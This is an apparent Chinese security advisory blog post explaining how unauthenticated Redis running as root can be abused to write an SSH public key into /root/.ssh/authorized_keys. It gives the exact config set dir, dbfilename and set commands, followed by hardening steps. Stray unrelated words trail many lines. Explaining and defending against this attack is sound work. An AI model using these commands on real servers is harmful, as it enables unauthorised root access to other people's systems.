redis服務器遠程漏洞-公鑰-相關原理

漏洞原理及復現html

在復現前,先介紹兩個基本所要了解的基礎知識:nginx

1) SSH免密碼登陸,Linux下能夠設置SSH免密碼登陸,方法爲使用"公私鑰"認證,即首先在客戶端上建立一對公私鑰 (公鑰文件:~/.ssh/id_rsa.pub;私鑰文件:~/.ssh/id_rsa)。而後把公鑰放到服務器上(~/.ssh/authorized_keys), 本身保留好私鑰.在使用ssh登陸時,ssh程序會發送私鑰去和服務器上的公鑰作匹配.若是匹配成功就能夠登陸了。詳細可參考(http://jingyan.baidu.com/article/2fb0ba4043124a00f2ec5f0f.html)SSH免密碼登錄遠程服務器redis

2) Redis可經過Redis-CLI遠程管理,設置Redis的默認路徑以及數據庫緩存文件。mongodb

方法以下:數據庫

config set dir /xxx緩存

config set dbfilename xxxx安全

set xxxx "xxx"服務器

save網絡

上述兩種常見的運維方法結合,在如下條件下:運維

1.Redis服務使用ROOT帳號啓動

 2.Redis服務無密碼認證或者使用的是弱口令進行認證

 3.服務器開放了SSH服務,並且容許使用密鑰登陸,便可遠程寫入一個公鑰,直接登陸遠程服務器。

以下圖:

wKioL1ZECDfQCuDbAABp2hX6eCw009.png

首先在本地生成一對密鑰:

而後經過redis-clis遠程鏈接到目標redis服務器,執行如下命令

wKiom1ZECA3QdIIgAABhftsn4zw775.png

config set dir /root/.ssh/

config set dbfilename authorized_keys

set xxxx "\n\n\nssh-rsa key_pub\n\n\n",其中key_pub爲上圖生成的公鑰,便可將公鑰保存在遠端服務器,使得登陸時不須要輸入帳號與密碼。

目前魔方安全團隊已經檢測到部分客戶的Redis已經因該漏洞被***,並在其緩存數據庫中發現被寫入的公鑰,建議用戶立刻對內部網絡進行排查。

漏洞修復

該漏洞的修補方法以下:

1)禁止使用 root 權限啓動 redis 服務;

2)對 redis 訪問啓用密碼認證,而且添加 IP 訪問限制;

3)儘量不對公網直接開放 SSH 服務。

4) 指定redis服務使用的網卡 
   在 redis.conf 文件中找到 「# bind 127.0.0.1」 ,把前面的#號去掉,   而後保存。注:修改後只有本機才能訪問redis。
5) 設置訪問密碼 
   在 redis.conf 中找到「requirepass」字段,在後面填上你須要的密碼。 

 

 

備註:

1. redis-cli -h 192.168.1.103 -p6379 -a "hi, coder" 

2. 用法:redis-cli [OPTIONS] [cmd [arg [arg ...]]]

        -h <主機ip>,默認是127.0.0.1

        -p <端口>,默認是6379

        -a <密碼>,若是redis加鎖,須要傳遞密碼

3. redis默認匿名用戶可登路,無需密碼

4. SCP

  a.目標文件:目標文件。格式爲user@hostfilename(文件名爲目標文件的名稱)
  b.
從遠處複製文件到本地目錄

     scproot@10.10.10.10:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/
    scp -rroot@10.10.10.10:/opt/soft/mongodb /opt/soft/   (文件夾)

  c. 上傳本地文件到遠程機器指定目錄

    scp/opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest

    scp -r/opt/soft/mongodb root@10.10.10.10:/opt/soft/scptest

相關文章
相關標籤/搜索